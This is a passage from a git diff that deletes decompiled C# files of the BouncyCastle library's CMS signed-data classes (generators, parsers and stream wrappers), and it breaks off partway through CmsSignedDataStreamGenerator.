a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsProcessableInputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsProcessableInputStream.cs deleted file mode 100644 index 7a21f8d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsProcessableInputStream.cs +++ /dev/null @@ -1,49 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Cms; - -public class CmsProcessableInputStream : CmsProcessable, CmsReadable -{ - private readonly Stream input; - - private bool used = false; - - public CmsProcessableInputStream(Stream input) - { - this.input = input; - } - - public virtual Stream GetInputStream() - { - CheckSingleUsage(); - return input; - } - - public virtual void Write(Stream output) - { - CheckSingleUsage(); - Streams.PipeAll(input, output); - Platform.Dispose(input); - } - - [Obsolete] - public virtual object GetContent() - { - return GetInputStream(); - } - - protected virtual void CheckSingleUsage() - { - lock (this) - { - if (used) - { - throw new InvalidOperationException("CmsProcessableInputStream can only be used once"); - } - used = true; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsReadable.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsReadable.cs deleted file mode 100644 index 702ff42..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsReadable.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Cms; - -public interface CmsReadable -{ - Stream GetInputStream(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsSecureReadable.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsSecureReadable.cs deleted file mode 100644 index ae2d7b5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsSecureReadable.cs +++ /dev/null @@ -1,13 +0,0 @@ -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Cms; - -internal interface CmsSecureReadable -{ - AlgorithmIdentifier Algorithm { get; } - - object CryptoObject { get; } - - CmsReadable GetReadable(KeyParameter key); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsSignedData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsSignedData.cs deleted file mode 100644 index 64b5aea..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsSignedData.cs +++ /dev/null @@ -1,217 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.Cms; - -public class CmsSignedData -{ - private static readonly CmsSignedHelper Helper = CmsSignedHelper.Instance; - - private readonly CmsProcessable signedContent; - - private SignedData signedData; - - private ContentInfo contentInfo; - - private SignerInformationStore signerInfoStore; - - private IX509Store attrCertStore; - - private IX509Store certificateStore; - - private IX509Store crlStore; - - private IDictionary hashes; - - public int Version => signedData.Version.Value.IntValue; - - [Obsolete("Use 'SignedContentType' property instead.")] - public string SignedContentTypeOid => signedData.EncapContentInfo.ContentType.Id; - - public DerObjectIdentifier SignedContentType => signedData.EncapContentInfo.ContentType; - - public CmsProcessable SignedContent => signedContent; - - public ContentInfo ContentInfo => contentInfo; - - private CmsSignedData(CmsSignedData c) - { - signedData = c.signedData; - contentInfo = c.contentInfo; - signedContent = c.signedContent; - signerInfoStore = c.signerInfoStore; - } - - public CmsSignedData(byte[] sigBlock) - : this(CmsUtilities.ReadContentInfo(new MemoryStream(sigBlock, writable: false))) - { - } - - public CmsSignedData(CmsProcessable signedContent, byte[] sigBlock) - : this(signedContent, CmsUtilities.ReadContentInfo(new MemoryStream(sigBlock, writable: false))) - { - } - - public CmsSignedData(IDictionary hashes, byte[] sigBlock) - : this(hashes, CmsUtilities.ReadContentInfo(sigBlock)) - { - } - - public CmsSignedData(CmsProcessable signedContent, Stream sigData) - : this(signedContent, CmsUtilities.ReadContentInfo(sigData)) - { - } - - public CmsSignedData(Stream sigData) - : this(CmsUtilities.ReadContentInfo(sigData)) - { - } - - public CmsSignedData(CmsProcessable signedContent, ContentInfo sigData) - { - this.signedContent = signedContent; - contentInfo = sigData; - signedData = SignedData.GetInstance(contentInfo.Content); - } - - public CmsSignedData(IDictionary hashes, ContentInfo sigData) - { - this.hashes = hashes; - contentInfo = sigData; - signedData = SignedData.GetInstance(contentInfo.Content); - } - - public CmsSignedData(ContentInfo sigData) - { - contentInfo = sigData; - signedData = SignedData.GetInstance(contentInfo.Content); - if (signedData.EncapContentInfo.Content != null) - { - signedContent = new CmsProcessableByteArray(((Asn1OctetString)signedData.EncapContentInfo.Content).GetOctets()); - } - } - - public SignerInformationStore GetSignerInfos() - { - if (signerInfoStore == null) - { - IList list = Platform.CreateArrayList(); - Asn1Set signerInfos = signedData.SignerInfos; - foreach (object item in signerInfos) - { - SignerInfo instance = SignerInfo.GetInstance(item); - DerObjectIdentifier contentType = signedData.EncapContentInfo.ContentType; - if (hashes == null) - { - list.Add(new SignerInformation(instance, contentType, signedContent, null)); - continue; - } - byte[] digest = (byte[])hashes[instance.DigestAlgorithm.Algorithm.Id]; - list.Add(new SignerInformation(instance, contentType, null, new BaseDigestCalculator(digest))); - } - signerInfoStore = new SignerInformationStore(list); - } - return signerInfoStore; - } - - public IX509Store GetAttributeCertificates(string type) - { - if (attrCertStore == null) - { - attrCertStore = Helper.CreateAttributeStore(type, signedData.Certificates); - } - return attrCertStore; - } - - public IX509Store GetCertificates(string type) - { - if (certificateStore == null) - { - certificateStore = Helper.CreateCertificateStore(type, signedData.Certificates); - } - return certificateStore; - } - - public IX509Store GetCrls(string type) - { - if (crlStore == null) - { - crlStore = Helper.CreateCrlStore(type, signedData.CRLs); - } - return crlStore; - } - - public byte[] GetEncoded() - { - return contentInfo.GetEncoded(); - } - - public static CmsSignedData ReplaceSigners(CmsSignedData signedData, SignerInformationStore signerInformationStore) - { - CmsSignedData cmsSignedData = new CmsSignedData(signedData); - cmsSignedData.signerInfoStore = signerInformationStore; - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - Asn1EncodableVector asn1EncodableVector2 = new Asn1EncodableVector(); - foreach (SignerInformation signer in signerInformationStore.GetSigners()) - { - asn1EncodableVector.Add(Helper.FixAlgID(signer.DigestAlgorithmID)); - asn1EncodableVector2.Add(signer.ToSignerInfo()); - } - Asn1Set asn1Set = new DerSet(asn1EncodableVector); - Asn1Set asn1Set2 = new DerSet(asn1EncodableVector2); - Asn1Sequence asn1Sequence = (Asn1Sequence)signedData.signedData.ToAsn1Object(); - asn1EncodableVector2 = new Asn1EncodableVector(asn1Sequence[0], asn1Set); - for (int i = 2; i != asn1Sequence.Count - 1; i++) - { - asn1EncodableVector2.Add(asn1Sequence[i]); - } - asn1EncodableVector2.Add(asn1Set2); - cmsSignedData.signedData = SignedData.GetInstance(new BerSequence(asn1EncodableVector2)); - cmsSignedData.contentInfo = new ContentInfo(cmsSignedData.contentInfo.ContentType, cmsSignedData.signedData); - return cmsSignedData; - } - - public static CmsSignedData ReplaceCertificatesAndCrls(CmsSignedData signedData, IX509Store x509Certs, IX509Store x509Crls, IX509Store x509AttrCerts) - { - if (x509AttrCerts != null) - { - throw Platform.CreateNotImplementedException("Currently can't replace attribute certificates"); - } - CmsSignedData cmsSignedData = new CmsSignedData(signedData); - Asn1Set certificates = null; - try - { - Asn1Set asn1Set = CmsUtilities.CreateBerSetFromList(CmsUtilities.GetCertificatesFromStore(x509Certs)); - if (asn1Set.Count != 0) - { - certificates = asn1Set; - } - } - catch (X509StoreException e) - { - throw new CmsException("error getting certificates from store", e); - } - Asn1Set crls = null; - try - { - Asn1Set asn1Set2 = CmsUtilities.CreateBerSetFromList(CmsUtilities.GetCrlsFromStore(x509Crls)); - if (asn1Set2.Count != 0) - { - crls = asn1Set2; - } - } - catch (X509StoreException e2) - { - throw new CmsException("error getting CRLs from store", e2); - } - SignedData signedData2 = signedData.signedData; - cmsSignedData.signedData = new SignedData(signedData2.DigestAlgorithms, signedData2.EncapContentInfo, certificates, crls, signedData2.SignerInfos); - cmsSignedData.contentInfo = new ContentInfo(cmsSignedData.contentInfo.ContentType, cmsSignedData.signedData); - return cmsSignedData; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsSignedDataGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsSignedDataGenerator.cs deleted file mode 100644 index 6010875..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsSignedDataGenerator.cs +++ /dev/null @@ -1,286 +0,0 @@ -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.IO; -using Org.BouncyCastle.Crypto.Operators; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Cms; - -public class CmsSignedDataGenerator : CmsSignedGenerator -{ - private class SignerInf - { - private readonly CmsSignedGenerator outer; - - private readonly ISignatureFactory sigCalc; - - private readonly SignerIdentifier signerIdentifier; - - private readonly string digestOID; - - private readonly string encOID; - - private readonly CmsAttributeTableGenerator sAttr; - - private readonly CmsAttributeTableGenerator unsAttr; - - private readonly Org.BouncyCastle.Asn1.Cms.AttributeTable baseSignedTable; - - internal AlgorithmIdentifier DigestAlgorithmID => new AlgorithmIdentifier(new DerObjectIdentifier(digestOID), DerNull.Instance); - - internal CmsAttributeTableGenerator SignedAttributes => sAttr; - - internal CmsAttributeTableGenerator UnsignedAttributes => unsAttr; - - internal SignerInf(CmsSignedGenerator outer, AsymmetricKeyParameter key, SignerIdentifier signerIdentifier, string digestOID, string encOID, CmsAttributeTableGenerator sAttr, CmsAttributeTableGenerator unsAttr, Org.BouncyCastle.Asn1.Cms.AttributeTable baseSignedTable) - { - string digestAlgName = Helper.GetDigestAlgName(digestOID); - string algorithm = digestAlgName + "with" + Helper.GetEncryptionAlgName(encOID); - this.outer = outer; - sigCalc = new Asn1SignatureFactory(algorithm, key); - this.signerIdentifier = signerIdentifier; - this.digestOID = digestOID; - this.encOID = encOID; - this.sAttr = sAttr; - this.unsAttr = unsAttr; - this.baseSignedTable = baseSignedTable; - } - - internal SignerInf(CmsSignedGenerator outer, ISignatureFactory sigCalc, SignerIdentifier signerIdentifier, CmsAttributeTableGenerator sAttr, CmsAttributeTableGenerator unsAttr, Org.BouncyCastle.Asn1.Cms.AttributeTable baseSignedTable) - { - this.outer = outer; - this.sigCalc = sigCalc; - this.signerIdentifier = signerIdentifier; - digestOID = new DefaultDigestAlgorithmIdentifierFinder().find((AlgorithmIdentifier)sigCalc.AlgorithmDetails).Algorithm.Id; - encOID = ((AlgorithmIdentifier)sigCalc.AlgorithmDetails).Algorithm.Id; - this.sAttr = sAttr; - this.unsAttr = unsAttr; - this.baseSignedTable = baseSignedTable; - } - - internal SignerInfo ToSignerInfo(DerObjectIdentifier contentType, CmsProcessable content, SecureRandom random) - { - AlgorithmIdentifier digestAlgorithmID = DigestAlgorithmID; - string digestAlgName = Helper.GetDigestAlgName(digestOID); - string algorithm = digestAlgName + "with" + Helper.GetEncryptionAlgName(encOID); - byte[] array; - if (outer._digests.Contains(digestOID)) - { - array = (byte[])outer._digests[digestOID]; - } - else - { - IDigest digestInstance = Helper.GetDigestInstance(digestAlgName); - content?.Write(new DigestSink(digestInstance)); - array = DigestUtilities.DoFinal(digestInstance); - outer._digests.Add(digestOID, array.Clone()); - } - IStreamCalculator streamCalculator = sigCalc.CreateCalculator(); - Stream stream = new BufferedStream(streamCalculator.Stream); - Asn1Set asn1Set = null; - if (sAttr != null) - { - IDictionary baseParameters = outer.GetBaseParameters(contentType, digestAlgorithmID, array); - Org.BouncyCastle.Asn1.Cms.AttributeTable attributeTable = sAttr.GetAttributes(baseParameters); - if (contentType == null && attributeTable != null && attributeTable[CmsAttributes.ContentType] != null) - { - IDictionary dictionary = attributeTable.ToDictionary(); - dictionary.Remove(CmsAttributes.ContentType); - attributeTable = new Org.BouncyCastle.Asn1.Cms.AttributeTable(dictionary); - } - asn1Set = outer.GetAttributeSet(attributeTable); - new DerOutputStream(stream).WriteObject(asn1Set); - } - else - { - content?.Write(stream); - } - Platform.Dispose(stream); - byte[] array2 = ((IBlockResult)streamCalculator.GetResult()).Collect(); - Asn1Set unauthenticatedAttributes = null; - if (unsAttr != null) - { - IDictionary baseParameters2 = outer.GetBaseParameters(contentType, digestAlgorithmID, array); - baseParameters2[CmsAttributeTableParameter.Signature] = array2.Clone(); - Org.BouncyCastle.Asn1.Cms.AttributeTable attributes = unsAttr.GetAttributes(baseParameters2); - unauthenticatedAttributes = outer.GetAttributeSet(attributes); - } - Asn1Encodable defaultX509Parameters = SignerUtilities.GetDefaultX509Parameters(algorithm); - AlgorithmIdentifier encAlgorithmIdentifier = Helper.GetEncAlgorithmIdentifier(new DerObjectIdentifier(encOID), defaultX509Parameters); - return new SignerInfo(signerIdentifier, digestAlgorithmID, asn1Set, encAlgorithmIdentifier, new DerOctetString(array2), unauthenticatedAttributes); - } - } - - private static readonly CmsSignedHelper Helper = CmsSignedHelper.Instance; - - private readonly IList signerInfs = Platform.CreateArrayList(); - - public CmsSignedDataGenerator() - { - } - - public CmsSignedDataGenerator(SecureRandom rand) - : base(rand) - { - } - - public void AddSigner(AsymmetricKeyParameter privateKey, X509Certificate cert, string digestOID) - { - AddSigner(privateKey, cert, Helper.GetEncOid(privateKey, digestOID), digestOID); - } - - public void AddSigner(AsymmetricKeyParameter privateKey, X509Certificate cert, string encryptionOID, string digestOID) - { - doAddSigner(privateKey, CmsSignedGenerator.GetSignerIdentifier(cert), encryptionOID, digestOID, new DefaultSignedAttributeTableGenerator(), null, null); - } - - public void AddSigner(AsymmetricKeyParameter privateKey, byte[] subjectKeyID, string digestOID) - { - AddSigner(privateKey, subjectKeyID, Helper.GetEncOid(privateKey, digestOID), digestOID); - } - - public void AddSigner(AsymmetricKeyParameter privateKey, byte[] subjectKeyID, string encryptionOID, string digestOID) - { - doAddSigner(privateKey, CmsSignedGenerator.GetSignerIdentifier(subjectKeyID), encryptionOID, digestOID, new DefaultSignedAttributeTableGenerator(), null, null); - } - - public void AddSigner(AsymmetricKeyParameter privateKey, X509Certificate cert, string digestOID, Org.BouncyCastle.Asn1.Cms.AttributeTable signedAttr, Org.BouncyCastle.Asn1.Cms.AttributeTable unsignedAttr) - { - AddSigner(privateKey, cert, Helper.GetEncOid(privateKey, digestOID), digestOID, signedAttr, unsignedAttr); - } - - public void AddSigner(AsymmetricKeyParameter privateKey, X509Certificate cert, string encryptionOID, string digestOID, Org.BouncyCastle.Asn1.Cms.AttributeTable signedAttr, Org.BouncyCastle.Asn1.Cms.AttributeTable unsignedAttr) - { - doAddSigner(privateKey, CmsSignedGenerator.GetSignerIdentifier(cert), encryptionOID, digestOID, new DefaultSignedAttributeTableGenerator(signedAttr), new SimpleAttributeTableGenerator(unsignedAttr), signedAttr); - } - - public void AddSigner(AsymmetricKeyParameter privateKey, byte[] subjectKeyID, string digestOID, Org.BouncyCastle.Asn1.Cms.AttributeTable signedAttr, Org.BouncyCastle.Asn1.Cms.AttributeTable unsignedAttr) - { - AddSigner(privateKey, subjectKeyID, Helper.GetEncOid(privateKey, digestOID), digestOID, signedAttr, unsignedAttr); - } - - public void AddSigner(AsymmetricKeyParameter privateKey, byte[] subjectKeyID, string encryptionOID, string digestOID, Org.BouncyCastle.Asn1.Cms.AttributeTable signedAttr, Org.BouncyCastle.Asn1.Cms.AttributeTable unsignedAttr) - { - doAddSigner(privateKey, CmsSignedGenerator.GetSignerIdentifier(subjectKeyID), encryptionOID, digestOID, new DefaultSignedAttributeTableGenerator(signedAttr), new SimpleAttributeTableGenerator(unsignedAttr), signedAttr); - } - - public void AddSigner(AsymmetricKeyParameter privateKey, X509Certificate cert, string digestOID, CmsAttributeTableGenerator signedAttrGen, CmsAttributeTableGenerator unsignedAttrGen) - { - AddSigner(privateKey, cert, Helper.GetEncOid(privateKey, digestOID), digestOID, signedAttrGen, unsignedAttrGen); - } - - public void AddSigner(AsymmetricKeyParameter privateKey, X509Certificate cert, string encryptionOID, string digestOID, CmsAttributeTableGenerator signedAttrGen, CmsAttributeTableGenerator unsignedAttrGen) - { - doAddSigner(privateKey, CmsSignedGenerator.GetSignerIdentifier(cert), encryptionOID, digestOID, signedAttrGen, unsignedAttrGen, null); - } - - public void AddSigner(AsymmetricKeyParameter privateKey, byte[] subjectKeyID, string digestOID, CmsAttributeTableGenerator signedAttrGen, CmsAttributeTableGenerator unsignedAttrGen) - { - AddSigner(privateKey, subjectKeyID, Helper.GetEncOid(privateKey, digestOID), digestOID, signedAttrGen, unsignedAttrGen); - } - - public void AddSigner(AsymmetricKeyParameter privateKey, byte[] subjectKeyID, string encryptionOID, string digestOID, CmsAttributeTableGenerator signedAttrGen, CmsAttributeTableGenerator unsignedAttrGen) - { - doAddSigner(privateKey, CmsSignedGenerator.GetSignerIdentifier(subjectKeyID), encryptionOID, digestOID, signedAttrGen, unsignedAttrGen, null); - } - - public void AddSignerInfoGenerator(SignerInfoGenerator signerInfoGenerator) - { - signerInfs.Add(new SignerInf(this, signerInfoGenerator.contentSigner, signerInfoGenerator.sigId, signerInfoGenerator.signedGen, signerInfoGenerator.unsignedGen, null)); - } - - private void doAddSigner(AsymmetricKeyParameter privateKey, SignerIdentifier signerIdentifier, string encryptionOID, string digestOID, CmsAttributeTableGenerator signedAttrGen, CmsAttributeTableGenerator unsignedAttrGen, Org.BouncyCastle.Asn1.Cms.AttributeTable baseSignedTable) - { - signerInfs.Add(new SignerInf(this, privateKey, signerIdentifier, digestOID, encryptionOID, signedAttrGen, unsignedAttrGen, baseSignedTable)); - } - - public CmsSignedData Generate(CmsProcessable content) - { - return Generate(content, encapsulate: false); - } - - public CmsSignedData Generate(string signedContentType, CmsProcessable content, bool encapsulate) - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - Asn1EncodableVector asn1EncodableVector2 = new Asn1EncodableVector(); - _digests.Clear(); - foreach (SignerInformation signer in _signers) - { - asn1EncodableVector.Add(Helper.FixAlgID(signer.DigestAlgorithmID)); - asn1EncodableVector2.Add(signer.ToSignerInfo()); - } - DerObjectIdentifier contentType = ((signedContentType == null) ? null : new DerObjectIdentifier(signedContentType)); - foreach (SignerInf signerInf in signerInfs) - { - try - { - asn1EncodableVector.Add(signerInf.DigestAlgorithmID); - asn1EncodableVector2.Add(signerInf.ToSignerInfo(contentType, content, rand)); - } - catch (IOException e) - { - throw new CmsException("encoding error.", e); - } - catch (InvalidKeyException e2) - { - throw new CmsException("key inappropriate for signature.", e2); - } - catch (SignatureException e3) - { - throw new CmsException("error creating signature.", e3); - } - catch (CertificateEncodingException e4) - { - throw new CmsException("error creating sid.", e4); - } - } - Asn1Set certificates = null; - if (_certs.Count != 0) - { - certificates = (base.UseDerForCerts ? CmsUtilities.CreateDerSetFromList(_certs) : CmsUtilities.CreateBerSetFromList(_certs)); - } - Asn1Set crls = null; - if (_crls.Count != 0) - { - crls = (base.UseDerForCrls ? CmsUtilities.CreateDerSetFromList(_crls) : CmsUtilities.CreateBerSetFromList(_crls)); - } - Asn1OctetString content2 = null; - if (encapsulate) - { - MemoryStream memoryStream = new MemoryStream(); - if (content != null) - { - try - { - content.Write(memoryStream); - } - catch (IOException e5) - { - throw new CmsException("encapsulation error.", e5); - } - } - content2 = new BerOctetString(memoryStream.ToArray()); - } - ContentInfo contentInfo = new ContentInfo(contentType, content2); - SignedData content3 = new SignedData(new DerSet(asn1EncodableVector), contentInfo, certificates, crls, new DerSet(asn1EncodableVector2)); - ContentInfo sigData = new ContentInfo(CmsObjectIdentifiers.SignedData, content3); - return new CmsSignedData(content, sigData); - } - - public CmsSignedData Generate(CmsProcessable content, bool encapsulate) - { - return Generate(CmsSignedGenerator.Data, content, encapsulate); - } - - public SignerInformationStore GenerateCounterSigners(SignerInformation signer) - { - return Generate(null, new CmsProcessableByteArray(signer.GetSignature()), encapsulate: false).GetSignerInfos(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsSignedDataParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsSignedDataParser.cs deleted file mode 100644 index 9c5224e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsSignedDataParser.cs +++ /dev/null @@ -1,265 +0,0 @@ -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.IO; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.Utilities.IO; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.Cms; - -public class CmsSignedDataParser : CmsContentInfoParser -{ - private static readonly CmsSignedHelper Helper = CmsSignedHelper.Instance; - - private SignedDataParser _signedData; - - private DerObjectIdentifier _signedContentType; - - private CmsTypedStream _signedContent; - - private IDictionary _digests; - - private ISet _digestOids; - - private SignerInformationStore _signerInfoStore; - - private Asn1Set _certSet; - - private Asn1Set _crlSet; - - private bool _isCertCrlParsed; - - private IX509Store _attributeStore; - - private IX509Store _certificateStore; - - private IX509Store _crlStore; - - public int Version => _signedData.Version.Value.IntValue; - - public ISet DigestOids => new HashSet(_digestOids); - - public DerObjectIdentifier SignedContentType => _signedContentType; - - public CmsSignedDataParser(byte[] sigBlock) - : this(new MemoryStream(sigBlock, writable: false)) - { - } - - public CmsSignedDataParser(CmsTypedStream signedContent, byte[] sigBlock) - : this(signedContent, new MemoryStream(sigBlock, writable: false)) - { - } - - public CmsSignedDataParser(Stream sigData) - : this(null, sigData) - { - } - - public CmsSignedDataParser(CmsTypedStream signedContent, Stream sigData) - : base(sigData) - { - try - { - _signedContent = signedContent; - _signedData = SignedDataParser.GetInstance(contentInfo.GetContent(16)); - _digests = Platform.CreateHashtable(); - _digestOids = new HashSet(); - Asn1SetParser digestAlgorithms = _signedData.GetDigestAlgorithms(); - IAsn1Convertible asn1Convertible; - while ((asn1Convertible = digestAlgorithms.ReadObject()) != null) - { - AlgorithmIdentifier instance = AlgorithmIdentifier.GetInstance(asn1Convertible.ToAsn1Object()); - try - { - string id = instance.Algorithm.Id; - string digestAlgName = Helper.GetDigestAlgName(id); - if (!_digests.Contains(digestAlgName)) - { - _digests[digestAlgName] = Helper.GetDigestInstance(digestAlgName); - _digestOids.Add(id); - } - } - catch (SecurityUtilityException) - { - } - } - ContentInfoParser encapContentInfo = _signedData.GetEncapContentInfo(); - Asn1OctetStringParser asn1OctetStringParser = (Asn1OctetStringParser)encapContentInfo.GetContent(4); - if (asn1OctetStringParser != null) - { - CmsTypedStream cmsTypedStream = new CmsTypedStream(encapContentInfo.ContentType.Id, asn1OctetStringParser.GetOctetStream()); - if (_signedContent == null) - { - _signedContent = cmsTypedStream; - } - else - { - cmsTypedStream.Drain(); - } - } - _signedContentType = ((_signedContent == null) ? encapContentInfo.ContentType : new DerObjectIdentifier(_signedContent.ContentType)); - } - catch (IOException ex2) - { - throw new CmsException("io exception: " + ex2.Message, ex2); - } - } - - public SignerInformationStore GetSignerInfos() - { - if (_signerInfoStore == null) - { - PopulateCertCrlSets(); - IList list = Platform.CreateArrayList(); - IDictionary dictionary = Platform.CreateHashtable(); - foreach (object key in _digests.Keys) - { - dictionary[key] = DigestUtilities.DoFinal((IDigest)_digests[key]); - } - try - { - Asn1SetParser signerInfos = _signedData.GetSignerInfos(); - IAsn1Convertible asn1Convertible; - while ((asn1Convertible = signerInfos.ReadObject()) != null) - { - SignerInfo instance = SignerInfo.GetInstance(asn1Convertible.ToAsn1Object()); - string digestAlgName = Helper.GetDigestAlgName(instance.DigestAlgorithm.Algorithm.Id); - byte[] digest = (byte[])dictionary[digestAlgName]; - list.Add(new SignerInformation(instance, _signedContentType, null, new BaseDigestCalculator(digest))); - } - } - catch (IOException ex) - { - throw new CmsException("io exception: " + ex.Message, ex); - } - _signerInfoStore = new SignerInformationStore(list); - } - return _signerInfoStore; - } - - public IX509Store GetAttributeCertificates(string type) - { - if (_attributeStore == null) - { - PopulateCertCrlSets(); - _attributeStore = Helper.CreateAttributeStore(type, _certSet); - } - return _attributeStore; - } - - public IX509Store GetCertificates(string type) - { - if (_certificateStore == null) - { - PopulateCertCrlSets(); - _certificateStore = Helper.CreateCertificateStore(type, _certSet); - } - return _certificateStore; - } - - public IX509Store GetCrls(string type) - { - if (_crlStore == null) - { - PopulateCertCrlSets(); - _crlStore = Helper.CreateCrlStore(type, _crlSet); - } - return _crlStore; - } - - private void PopulateCertCrlSets() - { - if (_isCertCrlParsed) - { - return; - } - _isCertCrlParsed = true; - try - { - _certSet = GetAsn1Set(_signedData.GetCertificates()); - _crlSet = GetAsn1Set(_signedData.GetCrls()); - } - catch (IOException e) - { - throw new CmsException("problem parsing cert/crl sets", e); - } - } - - public CmsTypedStream GetSignedContent() - { - if (_signedContent == null) - { - return null; - } - Stream stream = _signedContent.ContentStream; - foreach (IDigest value in _digests.Values) - { - stream = new DigestStream(stream, value, null); - } - return new CmsTypedStream(_signedContent.ContentType, stream); - } - - public static Stream ReplaceSigners(Stream original, SignerInformationStore signerInformationStore, Stream outStr) - { - CmsSignedDataStreamGenerator cmsSignedDataStreamGenerator = new CmsSignedDataStreamGenerator(); - CmsSignedDataParser cmsSignedDataParser = new CmsSignedDataParser(original); - cmsSignedDataStreamGenerator.AddSigners(signerInformationStore); - CmsTypedStream signedContent = cmsSignedDataParser.GetSignedContent(); - bool flag = signedContent != null; - Stream stream = cmsSignedDataStreamGenerator.Open(outStr, cmsSignedDataParser.SignedContentType.Id, flag); - if (flag) - { - Streams.PipeAll(signedContent.ContentStream, stream); - } - cmsSignedDataStreamGenerator.AddAttributeCertificates(cmsSignedDataParser.GetAttributeCertificates("Collection")); - cmsSignedDataStreamGenerator.AddCertificates(cmsSignedDataParser.GetCertificates("Collection")); - cmsSignedDataStreamGenerator.AddCrls(cmsSignedDataParser.GetCrls("Collection")); - Platform.Dispose(stream); - return outStr; - } - - public static Stream ReplaceCertificatesAndCrls(Stream original, IX509Store x509Certs, IX509Store x509Crls, IX509Store x509AttrCerts, Stream outStr) - { - CmsSignedDataStreamGenerator cmsSignedDataStreamGenerator = new CmsSignedDataStreamGenerator(); - CmsSignedDataParser cmsSignedDataParser = new CmsSignedDataParser(original); - cmsSignedDataStreamGenerator.AddDigests(cmsSignedDataParser.DigestOids); - CmsTypedStream signedContent = cmsSignedDataParser.GetSignedContent(); - bool flag = signedContent != null; - Stream stream = cmsSignedDataStreamGenerator.Open(outStr, cmsSignedDataParser.SignedContentType.Id, flag); - if (flag) - { - Streams.PipeAll(signedContent.ContentStream, stream); - } - if (x509AttrCerts != null) - { - cmsSignedDataStreamGenerator.AddAttributeCertificates(x509AttrCerts); - } - if (x509Certs != null) - { - cmsSignedDataStreamGenerator.AddCertificates(x509Certs); - } - if (x509Crls != null) - { - cmsSignedDataStreamGenerator.AddCrls(x509Crls); - } - cmsSignedDataStreamGenerator.AddSigners(cmsSignedDataParser.GetSignerInfos()); - Platform.Dispose(stream); - return outStr; - } - - private static Asn1Set GetAsn1Set(Asn1SetParser asn1SetParser) - { - if (asn1SetParser != null) - { - return Asn1Set.GetInstance(asn1SetParser.ToAsn1Object()); - } - return null; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsSignedDataStreamGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsSignedDataStreamGenerator.cs deleted file mode 100644 index 1b05a7c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsSignedDataStreamGenerator.cs +++ /dev/null @@ -1,522 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.IO; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.Utilities.IO; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Cms; - -public class CmsSignedDataStreamGenerator : CmsSignedGenerator -{ - private class DigestAndSignerInfoGeneratorHolder - { - internal readonly ISignerInfoGenerator signerInf; - - internal readonly string digestOID; - - internal AlgorithmIdentifier DigestAlgorithm => new AlgorithmIdentifier(new DerObjectIdentifier(digestOID), DerNull.Instance); - - internal DigestAndSignerInfoGeneratorHolder(ISignerInfoGenerator signerInf, string digestOID) - { - this.signerInf = signerInf; - this.digestOID = digestOID; - } - } - - private class SignerInfoGeneratorImpl : ISignerInfoGenerator - { - private readonly CmsSignedDataStreamGenerator outer; - - private readonly SignerIdentifier _signerIdentifier; - - private readonly string _digestOID; - - private readonly string _encOID; - - private readonly CmsAttributeTableGenerator _sAttr; - - private readonly CmsAttributeTableGenerator _unsAttr; - - private readonly string _encName; - - private readonly ISigner _sig; - 